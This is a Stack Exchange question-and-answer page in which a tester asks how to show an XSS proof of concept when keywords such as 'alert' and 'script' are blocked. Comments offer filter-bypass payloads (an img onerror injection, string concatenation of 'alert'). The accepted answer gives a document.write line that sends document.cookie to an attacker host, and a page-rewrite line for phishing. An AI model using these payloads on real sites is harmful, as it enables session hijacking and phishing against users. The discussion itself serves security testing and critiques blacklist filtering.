Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I have come across a field that is vulnerable to XSS. It accepts and tags however keywords script,alert, msgbox, prompt are blocked. I have tried every encoded version of these keywords but its not working.

Is there any way that i can show a POC (XSS popup) without using the above keywords.

I successfully injected a frame and cookies are also not Http-only.

Please help, thanks

share|improve this question
    
Nope..its blocked... used the following script "/><img src=x.gif onerror=confirm(1)> –  AJINKYA Jul 17 '13 at 13:11
    
What if you segment the function name as concatenated strings in bracket notation, e.g., onerror="window['al'+'ert'](1)"? (The strings could optionally be stored in variables.) Or is the alert function itself somehow disabled or overwritten? (In that case, delete window['al'+'ert'] should restore it in most browsers.) –  apsillers Jul 17 '13 at 13:18
    
conactenation doesnt work..i didnt get the delete window part –  AJINKYA Jul 17 '13 at 13:24
    
Hey, i did it just some more help... i loaded a localhost with script embedded in iframe... how can i access the parent cookie from the loaded iframe. –  AJINKYA Jul 17 '13 at 13:30
    
An attacker would want his attack to be as unnoticeable as possible. An alert is pretty much the worst choice when trying to be unnoticed as it literally jumps into the victim’s face. –  Gumbo Jul 17 '13 at 16:49

1 Answer 1

up vote 2 down vote accepted

No attacker will ever use alert(), checking for this within an attack string is more than just a waste of time, it shows that the developer doesn't understand how software is attacked.

You could show a real world attack, where you read a CSRF token or the document.cookie value:

document.write("<img src=http://attacker/cookie_theif?c="+document.cookie+" />")

You could also rewrite the page, this could be used to turn the page into a phasing page:

document.body.innerHTML="owned:"+document.cookie
share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.